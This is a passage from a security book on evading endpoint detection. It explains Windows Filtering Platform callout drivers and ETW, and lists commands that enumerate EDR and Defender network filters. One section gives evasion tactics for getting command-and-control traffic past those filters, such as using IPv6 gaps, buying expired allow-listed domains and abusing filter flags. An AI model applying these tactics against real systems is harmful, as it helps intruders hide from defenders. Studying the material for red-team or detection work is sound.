preserved in a global variable, as the driver will need it during its unloading process. Registering Callouts Next, the driver registers its callouts. This is done through a call to the fltmgr!FwpmCalloutRegister() API. Systems running Windows 8 or later will convert this function to fltmgr!FwpsCalloutRegister2(), the definition of which is included in Listing 7-2. NTSTATUS FwpsCalloutRegister2( [in, out] void *deviceObject, [in] const FWPS_CALLOUT2 *callout, [out, optional] UINT32 *calloutId ); Listing 7-2: The fltmgr!FwpsCalloutRegister2() function definition The pointer to the FWPS_CALLOUT2 structure passed as input to this func- tion (via its callout parameter) contains details about the functions internal to the callout driver that will handle the filtering of packets. It is defined in Listing 7-3. typedef struct FWPS_CALLOUT2_ { GUID calloutKey; UINT32 flags; FWPS_CALLOUT_CLASSIFY_FN2 classifyFn; FWPS_CALLOUT_NOTIFY_FN2 notifyFn; FWPS_CALLOUT_FLOW_DELETE_NOTIFY_FN0 flowDeleteFn; } FWPS_CALLOUT2; Listing 7-3: The FWPS_CALLOUT2 structure definition The notifyFn and flowDeleteFn members are callout functions used to notify the driver when there is information to be passed related to the callout itself or when the data that the callout is processing has been ter- minated, respectively. Because these callout functions aren’t particularly relevant to detection efforts, we won’t cover them in further detail. The classifyFn member, however, is a pointer to the function invoked whenever there is a packet to be processed, and it contains the bulk of the logic used for inspection. We’ll cover these callouts in “Detecting Adversary Tradecraft with Network Filters” on page XX. Evading EDR (Early Access) © 2023 by Matt Hand 130   Chapter 7 Adding the Callout Function to the Filter Engine After we’ve defined the callout function, we can add it to the filter engine by calling fwpuclnt!FwpmCalloutAdd(), passing the engine handle obtained earlier and a pointer to an FWPM_CALLOUT structure, shown in Listing 7-4, as input. typedef struct FWPM_CALLOUT0_ { GUID calloutKey; FWPM_DISPLAY_DATA0 displayData; UINT32 flags; GUID *providerKey; FWP_BYTE_BLOB providerData; GUID applicableLayer; UINT32 calloutId; } FWPM_CALLOUT0; Listing 7-4: The FWPM_CALLOUT structure definition This structure contains data about the callout, such as its optional friendly name and description in its displayData member, as well as the lay- ers to which the callout should be assigned (for example, FWPM_LAYER_STREAM _V4 for IPv4 streams). Microsoft documents dozens of filter layer identifiers, each of which usually has IPv4 and IPv6 variants. When the function used by the driver to add its callout completes, it returns a runtime identifier for the callout that is preserved for use during unloading. Unlike filter layers, a developer may add their own sublayers to the system. In those cases, the driver will call fwpuclnt!FwpmSublayerAdd(), which receives the engine handle, a pointer to an FWPM_SUBLAYER structure, and an optional security descriptor. The structure passed as input includes the sublayer key, a GUID to uniquely identify the sublayer, an optional friendly name and description, an optional flag to ensure that the sublayer persists between reboots, the sublayer weight, and other members that contain the state associated with a sublayer. Adding a New Filter Object The last action a callout driver performs is adding a new filter object to the system. This filter object is the rule that the driver will evalu- ate when processing the connection. To create one, the driver calls fwpuclnt!FwpmFilterAdd(), passing in the engine handle, a pointer to an FWPM_FILTER structure shown in Listing 7-5, and an optional pointer to a security descriptor. typedef struct FWPM_FILTER0_ { GUID filterKey; FWPM_DISPLAY_DATA0 displayData; UINT32 flags; GUID *providerKey; FWP_BYTE_BLOB providerData; GUID layerKey; Evading EDR (Early Access) © 2023 by Matt Hand Network Filter Drivers   131 GUID subLayerKey; FWP_VALUE0 weight; UINT32 numFilterConditions; FWPM_FILTER_CONDITION0 *filterCondition; FWPM_ACTION0 action; union { UINT64 rawContext; GUID providerContextKey; }; GUID *reserved; UINT64 filterId; FWP_VALUE0 effectiveWeight; } FWPM_FILTER0; Listing 7-5: The FWPM_FILTER structure definition The FWPM_FILTER structure contains a few key members worth highlight- ing. The flags member contains several flags that describe attributes of the filter, such as whether the filter should persist through system reboots (FWPM _FILTER_FLAG_PERSISTENT) or if it is a boot-time filter (FWPM_FILTER_FLAG_ BOOTTIME). The weight member defines the priority value of the filter in relation to other filters. The numFilterConditions is the number of filtering conditions specified in the filterCondition member, an array of FWPM_FILTER_ CONDITION structures that describe all the filtering conditions. For the callout functions to process the event, all conditions must be true. Lastly, action is an FWP_ACTION_TYPE value indicating what action to perform if all filtering conditions return true. These actions include permitting, blocking, or pass- ing the request to a callout function. Of these members, filterCondition is the most important, as each filter condition in the array represents a discrete “rule” against which the connections will be evaluated. Each rule is itself made up of a condi- tion value and match type. The definition for this structure is shown in Listing 7-6. typedef struct FWPM_FILTER_CONDITION0_ { GUID fieldKey; FWP_MATCH_TYPE matchType; FWP_CONDITION_VALUE0 conditionValue; } FWPM_FILTER_CONDITION0; Listing 7-6: The FWPM_FILTER_CONDITION structure definition The first member, fieldKey, indicates the attribute to evaluate. Each fil- tering layer has its own attributes, identified by GUIDs. For example, a filter inserted in the stream layer can work with local and remote IP addresses and ports, traffic direction (whether inbound or outbound), and flags (for example, if the connection is using a proxy). The matchType member specifies the type of match to be performed. These comparison types are defined in the FWP_MATCH_TYPE enumeration shown in Listing 7-7 and can match strings, integers, ranges, and other data types. Evading EDR (Early Access) © 2023 by Matt Hand 132   Chapter 7 typedef enum FWP_MATCH_TYPE_ { FWP_MATCH_EQUAL = 0, FWP_MATCH_GREATER, FWP_MATCH_LESS, FWP_MATCH_GREATER_OR_EQUAL, FWP_MATCH_LESS_OR_EQUAL, FWP_MATCH_RANGE, FWP_MATCH_FLAGS_ALL_SET, FWP_MATCH_FLAGS_ANY_SET, FWP_MATCH_FLAGS_NONE_SET, FWP_MATCH_EQUAL_CASE_INSENSITIVE, FWP_MATCH_NOT_EQUAL, FWP_MATCH_PREFIX, FWP_MATCH_NOT_PREFIX, FWP_MATCH_TYPE_MAX } FWP_MATCH_TYPE; Listing 7-7: The FWP_MATCH_TYPE enumeration The last member of the structure, conditionValue, is the condition against which the connection should be matched. The filter condition value is composed of two parts, the data type and a condition value, housed together in the FWP_CONDITION_VALUE structure, shown in Listing 7-8. typedef struct FWP_CONDITION_VALUE0_ { FWP_DATA_TYPE type; union { UINT8 uint8; UINT16 uint16; UINT32 uint32; UINT64 *uint64; INT8 int8; INT16 int16; INT32 int32; INT64 *int64; float float32; double *double64; FWP_BYTE_ARRAY16 *byteArray16; FWP_BYTE_BLOB *byteBlob; SID *sid; FWP_BYTE_BLOB *sd; FWP_TOKEN_INFORMATION *tokenInformation; FWP_BYTE_BLOB *tokenAccessInformation; LPWSTR unicodeString; FWP_BYTE_ARRAY6 *byteArray6; FWP_V4_ADDR_AND_MASK *v4AddrMask; FWP_V6_ADDR_AND_MASK *v6AddrMask; FWP_RANGE0 *rangeValue; }; } FWP_CONDITION_VALUE0; Listing 7-8: The FWP_CONDITION_VALUE structure definition Evading EDR (Early Access) © 2023 by Matt Hand Network Filter Drivers   133 The FWP_DATA_TYPE value indicates what union member the driver should use to evaluate the data. For instance, if the type member is FWP _V4_ADDR_MASK, which maps to an IPv4 address, then the v4AddrMask mem- ber would be accessed. The match type and condition value members form a discrete filter- ing requirement when combined. For example, this requirement could be “if the destination IP address is 1.1.1.1” or “if the TCP port is greater than 1024.” What should happen when the condition evaluates as true? To deter- mine this, we use the action member of the FWPM_FILTER structure. In callout drivers that perform firewalling activities, we could choose to permit or block traffic based on certain attributes. In the context of security monitor- ing, however, most developers forward the request to the callout functions by specifying the FWP_ACTION_CALLOUT_INSPECTION flag, which passes the request to the callout without expecting the callout to make a permit/deny decision regarding the connection. If we combine all three components of the filterCondition member, we could represent a filtering condition as a complete sentence, such as the one shown in Figure 7-5. equal to Field key Condition value remote TCP port If the is 445 block the connection Match type Action , . Figure 7-5: Filtering conditions At this point, we have our rule’s basic “if this, do that” logic, but we have yet to deal with some other conditions related to filter arbitration. Assigning Weights and Sublayers What if our driver has filters to, say, both permit traffic on TCP port 1080 and block outbound connections on TCP ports greater than 1024? To handle these conflicts, we must assign each filter a weight. The greater the weight, the higher the priority of the condition, and the earlier it should be evaluated. For instance, the filter allowing traffic on port 1080 should be evaluated before the one blocking all traffic using ports higher than 1024 to permit software using port 1080 to function. In code, a weight is just an FWP_VALUE (UINT8 or UINT64) assigned in the weight member of the FWPM_FILTER structure. In addition to assigning the weight, we need to assign the filter to a sublayer so that it is evaluated at the correct time. We do this by specify- ing a GUID in the layerKey member of the structure. If we created our own sublayer, we would specify its GUID here. Otherwise, we’d use one of the default sublayer GUIDs listed in Table 7-1. Evading EDR (Early Access) © 2023 by Matt Hand 134   Chapter 7 Table 7-1: Default Sublayer GUIDs Filter sublayer identifier Filter type FWPM_SUBLAYER_EDGE_TRAVERSAL (BA69DC66-5176- 4979-9C89-26A7B46A8327) Edge traversal FWPM_SUBLAYER_INSPECTION (877519E1-E6A9-41A5- 81B4-8C4F118E4A60) Inspection FWPM_SUBLAYER_IPSEC_DOSP (E076D572-5D3D-48EF- 802B-909EDDB098BD) IPsec denial-of-service (DoS) protection FWPM_SUBLAYER_IPSEC_FORWARD_OUTBOUND_ TUNNEL (A5082E73-8F71-4559-8A9A-101CEA04EF87) IPsec forward outbound tunnel FWPM_SUBLAYER_IPSEC_TUNNEL (83F299ED-9FF4- 4967-AFF4-C309F4DAB827) IPsec tunnel FWPM_SUBLAYER_LIPS (1B75C0CE-FF60-4711-A70F- B4958CC3B2D0) Legacy IPsec filters FWPM_SUBLAYER_RPC_AUDIT (758C84F4-FB48-4DE9- 9AEB-3ED9551AB1FD) Remote procedure call (RPC) audit FWPM_SUBLAYER_SECURE_SOCKET (15A66E17-3F3C- 4F7B-AA6C-812AA613DD82) Secure socket FWPM_SUBLAYER_TCP_CHIMNEY_OFFLOAD (337608B9- B7D5-4D5F-82F9-3618618BC058) TCP Chimney Offload FWPM_SUBLAYER_TCP_TEMPLATES (24421DCF-0AC5- 4CAA-9E14-50F6E3636AF0) TCP template FWPM_SUBLAYER_UNIVERSAL (EEBECC03-CED4-4380- 819A-2734397B2B74) Those not assigned to any other sublayers Note that the FWPM_SUBLAYER_IPSEC_SECURITY_REALM sublayer identifier is defined in the fwpmu.h header but is undocumented. Adding a Security Descriptor The last parameter we can pass to fwpuclnt!FwpmFilterAdd() is a security descriptor. While optional, it allows the developer to explicitly set the access control list for their filter. Otherwise, the function will apply a default value to the filter. This default security descriptor grants GenericAll rights to mem- bers of the Local Administrators group, and GenericRead, GenericWrite, and GenericExecute rights to members of the Network Configuration Operators group, as well as the diagnostic service host (WdiServiceHost), IPsec policy agent (PolicyAgent), network list service (NetProfm), remote procedure call (RpcSs), and Windows firewall (MpsSvc) services. Lastly, FWPM_ACTRL_OPEN and FWPM_ACTRL_CLASSIFY are granted to the Everyone group. After the call to fwpuclnt!FwpmFilterAdd() completes, the callout driver has been initialized, and it will process events until the driver is ready to be unloaded. The unloading process is outside the scope of this chapter, as it is largely irrelevant to security monitoring, but it closes all the previously opened handles, deletes created sublayers and filters, and safely removes the driver. Evading EDR (Early Access) © 2023 by Matt Hand Network Filter Drivers   135 Detecting Adversary Tradecraft with Network Filters The bulk of the telemetry that a WFP filter driver collects comes from its callouts. These are most often classify callouts, which receive information about the connection as input. From this data, developers can extract telemetry useful for detecting malicious activity. Let’s explore these func- tions further, starting with their definition in Listing 7-9. FWPS_CALLOUT_CLASSIFY_FN2 FwpsCalloutClassifyFn2; void FwpsCalloutClassifyFn2( [in] const FWPS_INCOMING_VALUES0 *inFixedValues, [in] const FWPS_INCOMING_METADATA_VALUES0 *inMetaValues, [in, out, optional] void *layerData, [in, optional] const void *classifyContext, [in] const FWPS_FILTER2 *filter, [in] UINT64 flowContext, [in, out] FWPS_CLASSIFY_OUT0 *classifyOut ) {. . .} Listing 7-9: The FwpsCalloutClassifyFn definition On invocation, the callout receives pointers to a few structures con- taining interesting details about the data being processed. These details include the basic network information you’d expect to receive from any packet-capturing application (the remote IP address, for example) and metadata that provides additional context, including the requesting pro- cess’s PID, image path, and token. In return, the callout function will set the action for the stream-layer shim to take (assuming the packet being processed is in the stream layer), as well as an action for the filter engine to take, such as to block or allow the packet. It might also defer the decision-making to the next registered callout function. We describe this process in greater detail in the following sections. The Basic Network Data The first parameter, a pointer to an FWPS_INCOMING_VALUES structure, is defined in Listing 7-10 and contains information about the connection that has been passed from the filter engine to the callout. typedef struct FWPS_INCOMING_VALUES0_ { UINT16 layerId; UINT32 valueCount; FWPS_INCOMING_VALUE0 *incomingValue; } FWPS_INCOMING_VALUES0; Listing 7-10: The FWPS_INCOMING_VALUES structure The first member of this structure contains the identifier of the filter layer at which the data was obtained. Microsoft defines these values (for example, FWPM_LAYER_INBOUND_IPPACKET_V4). Evading EDR (Early Access) © 2023 by Matt Hand 136   Chapter 7 The second member contains the number of entries in the array pointed to by the third parameter, incomingValue. This is an array of FWPS_INCOMING_VALUE structures containing the data that the filter engine passes to the callout. Each structure in the array has only an FWP_VALUE struc- ture, shown in Listing 7-11, that describes the type and value of the data. typedef struct FWP_VALUE0_ { FWP_DATA_TYPE type; union { UINT8 uint8; UINT16 uint16; UINT32 uint32; UINT64 *uint64; INT8 int8; INT16 int16; INT32 int32; INT64 *int64; float float32; double *double64; FWP_BYTE_ARRAY16 *byteArray16; FWP_BYTE_BLOB *byteBlob; SID *sid; FWP_BYTE_BLOB *sd; FWP_TOKEN_INFORMATION *tokenInformation; FWP_BYTE_BLOB *tokenAccessInformation; LPWSTR unicodeString; FWP_BYTE_ARRAY6 *byteArray6; }; } FWP_VALUE0; Listing 7-11: The FWP_VALUE structure definition To access the data inside the array, the driver needs to know the index at which the data resides. This index varies based on the layer identifier being processed. For instance, if the layer is FWPS_LAYER_OUTBOUND_IPPACKET_ V4, the driver would access fields based on their index in the FWPS_FIELDS _OUTBOUND_IPPACKET_V4 enumeration, defined in Listing 7-12. typedef enum FWPS_FIELDS_OUTBOUND_IPPACKET_V4_ { FWPS_FIELD_OUTBOUND_IPPACKET_V4_IP_LOCAL_ADDRESS, FWPS_FIELD_OUTBOUND_IPPACKET_V4_IP_LOCAL_ADDRESS_TYPE, FWPS_FIELD_OUTBOUND_IPPACKET_V4_IP_REMOTE_ADDRESS, FWPS_FIELD_OUTBOUND_IPPACKET_V4_IP_LOCAL_INTERFACE, FWPS_FIELD_OUTBOUND_IPPACKET_V4_INTERFACE_INDEX, FWPS_FIELD_OUTBOUND_IPPACKET_V4_SUB_INTERFACE_INDEX, FWPS_FIELD_OUTBOUND_IPPACKET_V4_FLAGS, FWPS_FIELD_OUTBOUND_IPPACKET_V4_INTERFACE_TYPE, FWPS_FIELD_OUTBOUND_IPPACKET_V4_TUNNEL_TYPE, FWPS_FIELD_OUTBOUND_IPPACKET_V4_COMPARTMENT_ID, FWPS_FIELD_OUTBOUND_IPPACKET_V4_MAX } FWPS_FIELDS_OUTBOUND_IPPACKET_V4; Listing 7-12: The FWPS_FIELDS_OUTBOUND_IPPACKET_V4 enumeration Evading EDR (Early Access) © 2023 by Matt Hand Network Filter Drivers   137 For example, if an EDR’s driver wanted to inspect the remote IP address, it could access this value using the code in Listing 7-13. if (inFixedValues->layerId == FWPS_LAYER_OUTBOUND_IPPACKET_V4) { UINT32 remoteAddr = inFixedValues-> incomingValues[FWPS_FIELD_OUTBOUND_IPPACKET_V4_IP_REMOTE_ADDRESS].value.uint32; --snip-- } Listing 7-13: Accessing the remote IP address in the incoming values In this example, the EDR driver extracts the IP address by referencing the unsigned 32-bit integer (uint32) value at the index FWPS_FIELD_OUTBOUND _IPPACKET_V4_IP_REMOTE_ADDRESS in the incoming values. The Metadata The next parameter that the callout function receives is a pointer to an FWPS_INCOMING_METADATA_VALUES0 structure, which provides incredibly valuable metadata to an EDR, beyond the information you’d expect to get from a packet-capture application such as Wireshark. You can see this metadata in Listing 7-14. typedef struct FWPS_INCOMING_METADATA_VALUES0_ { UINT32 currentMetadataValues; UINT32 flags; UINT64 reserved; FWPS_DISCARD_METADATA0 discardMetadata; UINT64 flowHandle; UINT32 ipHeaderSize; UINT32 transportHeaderSize; FWP_BYTE_BLOB *processPath; UINT64 token; UINT64 processId; UINT32 sourceInterfaceIndex; UINT32 destinationInterfaceIndex; ULONG compartmentId; FWPS_INBOUND_FRAGMENT_METADATA0 fragmentMetadata; ULONG pathMtu; HANDLE completionHandle; UINT64 transportEndpointHandle; SCOPE_ID remoteScopeId; WSACMSGHDR *controlData; ULONG controlDataLength; FWP_DIRECTION packetDirection; PVOID headerIncludeHeader; ULONG headerIncludeHeaderLength; IP_ADDRESS_PREFIX destinationPrefix; UINT16 frameLength; UINT64 parentEndpointHandle; Evading EDR (Early Access) © 2023 by Matt Hand 138   Chapter 7 UINT32 icmpIdAndSequence; DWORD localRedirectTargetPID; SOCKADDR *originalDestination; HANDLE redirectRecords; UINT32 currentL2MetadataValues; UINT32 l2Flags; UINT32 ethernetMacHeaderSize; UINT32 wiFiOperationMode; NDIS_SWITCH_PORT_ID vSwitchSourcePortId; NDIS_SWITCH_NIC_INDEX vSwitchSourceNicIndex; NDIS_SWITCH_PORT_ID vSwitchDestinationPortId; UINT32 padding0; USHORT padding1; UINT32 padding2; HANDLE vSwitchPacketContext; PVOID subProcessTag; UINT64 reserved1; } FWPS_INCOMING_METADATA_VALUES0; Listing 7-14: The FWPS_INCOMING_METADATA_VALUES0 structure definition We mentioned that one of the main benefits to monitoring network traf- fic on each endpoint is the context that this approach provides to the EDR. We can see this in the processPath, processId, and token members, which give us information about the endpoint process and the associated principal. Note that not all values in this structure will be populated. To see which values are present, the callout function checks the currentMetadata Values member, which is a bitwise-OR of a combination of metadata filter identifiers. Microsoft nicely provided us with a macro, FWPS_IS_METADATA_FIELD _PRESENT(), that will return true if the value we’re interested in is present. The Layer Data After the metadata, the classify function receives information about the layer being filtered and the conditions under which the callout is invoked. For example, if the data originates from the stream layer, the parameter will point to an FWPS_STREAM_CALLOUT_IO_PACKET0 structure. This layer data con- tains a pointer to an FWPS_STREAM_DATA0 structure, which contains flags that encode the characteristics of the stream (for example, whether it is inbound or outbound, whether it is high priority, and whether the network stack will pass the FIN flag in the final packet). It will also contain the offset to the stream, the size of its data in the stream, and a pointer to a NET_BUFFER_LIST that describes the current portion of the stream. This buffer list is a linked list of NET_BUFFER structures. Each structure in the list contains a chain of memory descriptor lists used to hold the data sent or received over the network. Note that if the request didn’t originate from the stream layer, the layerData parameter will point only to a NET_BUFFER_LIST, assuming it is not null. The layer data structure also contains a streamAction member, which is an FWPS_STREAM_ACTION_TYPE value describing an action that the callout recom- mends the stream-layer shim take. These include: Evading EDR (Early Access) © 2023 by Matt Hand Network Filter Drivers   139 • Doing nothing (FWPS_STREAM_ACTION_NONE). • Allowing all future data segments in the flow to continue without inspection (FWPS_STREAM_ACTION_ALLOW_CONNECTION). • Requesting more data. If this is set, the callout must populate the countBytesRequired member with the number of bytes of stream data required (FWPS_STREAM_ACTION_NEED_MORE_DATA). • Dropping the connection (FWPS_STREAM_ACTION_DROP_CONNECTION). • Deferring processing until fwpkclnt!FwpsStreamContinue0() is called. This is used for flow control, to slow down the rate of incoming data (FWPS_STREAM_ACTION_DEFER). Don’t confuse this streamAction member with the classifyOut parameter passed to the classify function to indicate the result of the filtering operation. Evading Network Filters You’re probably interested in evading network filters primarily because you’d like to get your command-and-control traffic to the internet, but other types of traffic are subject to filtering too, such as lateral movement and network reconnaissance. However, when it comes to evading WFP callout drivers, there aren’t many options (at least not compared to those available for other sensor com- ponents). In a lot of ways, evading network filters is very similar to performing a standard firewall rule assessment. Some filters may opt to explicitly permit or deny traffic, or they may send the contents off for inspection by a callout. As with any other type of rule-coverage analysis, the bulk of the work comes down to enumerating the various filters on the system, their configu- rations, and their rulesets. Thankfully, many available tools can make this process relatively painless. The built-in netsh command allows you to export the currently registered filters as an XML document, an example of which is shown in Listing 7-15. PS > netsh netsh> wfp netsh wfp> show filters Data collection successful; output = filters.xml netsh wfp> exit PS > Select-Xml .\filters.xml -XPath 'wfpdiag/filters/item/displayData/name' | >> ForEach-Object {$_.Node.InnerXML } Rivet IpPacket V4 IpPacket Outbound Filtering Layer Rivet IpPacket V6 Network Outbound Filtering Layer Boot Time Filter Boot Time Filter Rivet IpV4 Inbound Transport Filtering Layer Rivet IpV6 Inbound Transport Filtering Layer Rivet IpV4 Outbound Transport Filtering Layer Rivet IpV6 Outbound Filtering Layer Evading EDR (Early Access) © 2023 by Matt Hand 140   Chapter 7 Boot Time Filter Boot Time Filter <...> Listing 7-15: Enumerating registered filters with netsh Because parsing XML can cause some headaches, you might prefer to use an alternative tool, NtObjectManager. It includes cmdlets for collecting information related to WFP components, including sublayer identifiers and filters. One of the first actions you should perform to get an idea of what drivers are inspecting traffic on the system is to list all the non-default sublayers. You can do this using the commands shown in Listing 7-16. PS > Import-Module NtObjectManager PS > Get-FwSubLayer | >> Where-Object {$_.Name -notlike ‘WFP Built-in*’} | >> select Weight, Name, keyname | >> Sort-Object Weight -Descending | fl Weight : 32765 Name : IPxlat Forward IPv4 sub layer KeyName : {4351e497-5d8b-46bc-86d9-abccdb868d6d} Weight : 4096 Name : windefend KeyName : {3c1cd879-1b8c-4ab4-8f83-5ed129176ef3} Weight : 256 Name : OpenVPN KeyName : {2f660d7e-6a37-11e6-a181-001e8c6e04a2} Listing 7-16: Enumerating WFP sublayers using NtObjectManager The weights indicate the order in which the sublayers will be evaluated during filter arbitration. Look for interesting sublayers worth exploring fur- ther, such as those associated with applications that provide security moni- toring. Then, using the Get-FwFilter cmdlet, return filters associated with the specified sublayer, as shown in Listing 7-17. PS > Get-FwFilter | >> Where-Object {$_.SubLayerKeyName -eq '{3c1cd879-1b8c-4ab4-8f83-5ed129176ef3}'} | >> Where-Object {$_.IsCallout -eq $true} | >> select ActionType,Name,LayerKeyName,CalloutKeyName,FilterId | >> fl ActionType : CalloutTerminating Name : windefend_stream_v4 LayerKeyName : FWPM_LAYER_STREAM_V4 CalloutKeyName : {d67b238d-d80c-4ba7-96df-4a0c83464fa7} FilterId : 69085 Evading EDR (Early Access) © 2023 by Matt Hand Network Filter Drivers   141 ActionType : CalloutInspection Name : windefend_resource_assignment_v4 LayerKeyName : FWPM_LAYER_ALE_RESOURCE_ASSIGNMENT_V4 CalloutKeyName : {58d7275b-2fd2-4b6c-b93a-30037e577d7e} FilterId : 69087 ActionType : CalloutTerminating Name : windefend_datagram_v6 LayerKeyName : FWPM_LAYER_DATAGRAM_DATA_V6 CalloutKeyName : {80cece9d-0b53-4672-ac43-4524416c0353} FilterId : 69092 ActionType : CalloutInspection Name : windefend_resource_assignment_v6 LayerKeyName : FWPM_LAYER_ALE_RESOURCE_ASSIGNMENT_V6 CalloutKeyName : {ced78e5f-1dd1-485a-9d35-7e44cc9d784d} FilterId : 69088 Listing 7-17: Enumerating filters associated with a subfilter layer For our purposes, the most interesting filter in this layer is CalloutInspection, as it sends the contents of the network connection to the driver, which will determine whether to terminate the connection. You can inspect callouts by passing their key names to the Get-FwCallout cmdlet. Listing 7-18 shows the process of investigating one of Windows Defender’s filters. PS > Get-FwCallout | >> Where-Object {$_.KeyName -eq '{d67b238d-d80c-4ba7-96df-4a0c83464fa7}'} | >> select * Flags : ConditionalOnFlow, Registered ProviderKey : 00000000-0000-0000-0000-000000000000 ProviderData : {} ApplicableLayer : 3b89653c-c170-49e4-b1cd-e0eeeee19a3e CalloutId : 302 Key : d67b238d-d80c-4ba7-96df-4a0c83464fa7 Name : windefend_stream_v4 Description : windefend KeyName : {d67b238d-d80c-4ba7-96df-4a0c83464fa7} SecurityDescriptor : --snip-- ObjectName : windefend_stream_v4 NtType : Name = Firewall - Index = -1 IsContainer : False Listing 7-18: Using NtObjectManager to inspect WFP filters This information helps us determine the type of traffic being inspected, as it includes the layer for which the callout is registered; a description that could make understanding the purpose of the callout more easily identifi- able; and the security descriptor, which can be audited to find any poten- tial misconfigurations that would grant excessive control over it. But it still doesn’t tell us exactly what the driver is looking for. No two EDR vendors will Evading EDR (Early Access) © 2023 by Matt Hand 142   Chapter 7 inspect the same attributes in the same way, so the only way to know what a driver is examining is to reverse-engineer its callout routines. We can, however, assess WFP filters by looking for configuration gaps like those found in standard firewalls. After all, why bother reverse- engineering a driver when we could just look for rules to abuse? One of my favorite ways of evading detection is to find gaps that allow the traffic to slip through. For example, if a callout only monitors IPv4 traffic, traffic sent using IPv6 won’t be inspected. Because bypasses vary between vendors and environments, try look- ing for rules that explicitly allow traffic to a certain destination. In my experience, these are usually implemented for the particular environment in which the EDR is deployed rather than being part of the EDR’s default configuration. Some might even be outdated. Say you discover an old rule allowing all outbound traffic on TCP port 443 to a certain domain. If the domain has expired, you may be able to purchase it and use it as an HTTPS command-and-control channel. Also look for specific filter configurations that you can take advantage of. For instance, a filter might clear the FWPM_FILTER_FLAG_CLEAR_ACTION_RIGHT. As a result, lower-priority filters won’t be able to override this filter’s deci- sions. Now say that an EDR explicitly allows traffic to egress to a domain and clears the aforementioned flag. Even if a lower-priority filter issues a block, the traffic will still be allowed out. (Of course, as with all things WFP, it’s not exactly that simple. There exists a flag, FWPS_RIGHT_ACTION_WRITE, that vetoes this decision if reset prior to the evaluation of the filter. This is called a filter conflict, and it causes a few things to happen: the traffic is blocked, an audit event is generated, and applications subscribed to notifications will receive one, allowing them to become aware of the misconfiguration.) In summary, evading WFP filters is a lot like evading traditional fire- walls: we can look for gaps in the rulesets, configurations, and inspection logic implemented by an EDR’s network filter driver to find ways of getting our traffic out. Evaluate the viability of each technique in the context of the environment and each EDR’s particular filters. In some cases, this can be as simple as reviewing the filtering rules. In others, this may mean a deep dive into the driver’s inspection logic to determine what is being filtered and how. Conclusion Network filter drivers have the capability to allow, deny, or inspect net- work traffic on the host. Most relevant to EDR is the inspection function facilitated by these drivers’ callouts. When an attacker activity involves the network stack, such as command-and-control agent beaconing and lateral movement, a network filter driver sitting inline of the traffic can pick out indicators of it. Evading these callouts requires understanding the types of traffic they wish to inspect and then identifying gaps in coverage, not dis- similar to a standard firewall rule audit. Evading EDR (Early Access) © 2023 by Matt Hand Using the Event Tracing for Windows (ETW) logging facility, developers can program their applications to emit events, consume events from other components, and control event-tracing sessions. This allows them to trace the execution of their code and monitor or debug potential issues. It may be helpful to think of ETW as an alternative to printf-based debugging; the messages are emitted over a common channel using a standard format rather than printed to the console. In a security context, ETW provides valuable telemetry that wouldn’t otherwise be available to an endpoint agent. For example, the common lan- guage runtime, which is loaded into every .NET process, emits unique events using ETW that can provide more insight than any other mechanism into the nature of managed code executing on the host. This allows an EDR agent to collect novel data from which to create new alerts or enrich existing events. 8 E V E N T T R ACING FOR W IN DOW S Evading EDR (Early Access) © 2023 by Matt Hand 144   Chapter 8 ETW is rarely praised for its simplicity and ease of use, thanks in no small part to the tremendously complicated technical documentation that Microsoft provides for it. Luckily, while ETW’s inner workings and imple- mentation details are fascinating, you don’t need a full understanding of its architecture. This chapter covers the parts of ETW that are relevant to those interested in telemetry. We’ll walk through how an agent might col- lect telemetry from ETW and how to evade this collection. Architecture There are three main components involved in ETW: providers, consumers, and controllers. Each of these components serves a distinct purpose in an event-tracing session. The following overview describes how each compo- nent fits into the larger ETW architecture. Providers Simply put, providers are the software components that emit events. These might include parts of the system, such as the Task Scheduler, a third-party application, or even the kernel itself. Generally, the provider isn’t a separate application or image but rather the primary image associ- ated with the component. When this provider image follows some interesting or concerning code path, the developer can opt to have it emit an event related to its execution. For example, if the application handles user authentication, it might emit an event whenever authentication fails. These events contain any data the developer deems necessary to debug or monitor the application, ranging from a simple string to complex structures. ETW providers have GUIDs that other software can use to identify them. In addition, providers have more user-friendly names, most often defined in their manifest, that allow humans to identify them more easily. There are around 1,100 providers registered in default Windows 10 installations. Table 8-1 includes those that endpoint security products might find helpful. Table 8-1: Default ETW Providers Relevant to Security Monitoring Provider name GUID Description Microsoft-Antimalware- Scan-Interface {2A576B87-09A7-520E- C21A-4942F0271D67} Supplies details about the data passed through the Antimalware Scan Interface (AMSI) Microsoft-Windows- DotNETRuntime {E13C0D23-CCBC-4E12- 931B-D9CC2EEE27E4} Provides events related to .NET assemblies executing on the local host Microsoft-Windows- Audit-CVE {85A62A0D-7E17-485F- 9D4F-749A287193A6} Provides a mechanism for soft- ware to report attempts to exploit known vulnerabilities Microsoft-Windows- DNS-Client {1C95126E-7EEA-49A9- A3FE-A378B03DDB4D} Details the results of domain name resolution on the host Evading EDR (Early Access) © 2023 by Matt Hand Event Tracing for Windows   145 Provider name GUID Description Microsoft-Windows- Kernel-Process {22FB2CD6-0E7B-422B- A0C7-2FAD1FD0E716} Provides information related to the creation and termination of processes (similar to what a driver can obtain using a process- creation callback routine) Microsoft-Windows- PowerShell {A0C1853B-5C40-4B15- 8766-3CF1C58F985A} Provides PowerShell script block-logging functionality Microsoft-Windows-RPC {6AD52B32-D609-4BE9- AE07-CE8DAE937E39} Contains information related to RPC operations on the local system Microsoft-Windows- Security-Kerberos {98E6CFCB-EE0A-41E0- A57B-622D4E1B30B1} Provides information related to Kerberos authentication on the host Microsoft-Windows- Services {0063715B-EEDA-4007- 9429-AD526F62696E} Emits events related to the instal- lation, operation, and removal of services Microsoft-Windows- SmartScreen {3CB2A168-FE34-4A4E- BDAD-DCF422F34473} Provides events related to Microsoft Defender SmartScreen and its interaction with files downloaded from the internet Microsoft-Windows- TaskScheduler {DE7B24EA-73C8-4A09- 985D-5BDADCFA9017} Supplies information related to scheduled tasks Microsoft-Windows- WebIO {50B3E73C-9370-461D- BB9F-26F32D68887D} Provides visibility into web requests being made by users of the system Microsoft-Windows- WMI-Activity {1418EF04-B0B4-4623- BF7E-D74AB47BBDAA} Supplies telemetry related to the operation of WMI, including event subscriptions ETW providers are securable objects, meaning a security descriptor can be applied to them. A security descriptor provides a way for Windows to restrict access to the object through a discretionary access control list or log access attempts via a system access control list. Listing 8-1 shows the security descriptor applied to the Microsoft-Windows-Services provider. PS > $SDs = Get-ItemProperty -Path HKLM:\System\CurrentControlSet\Control\WMI\Security PS > $sddl = ([wmiclass]"Win32_SecurityDescriptorHelper"). >> BinarySDToSDDL($SDs.’0063715b-eeda-4007-9429-ad526f62696e’). >> SDDL PS > ConvertFrom-SddlString -Sddl $sddl Owner : 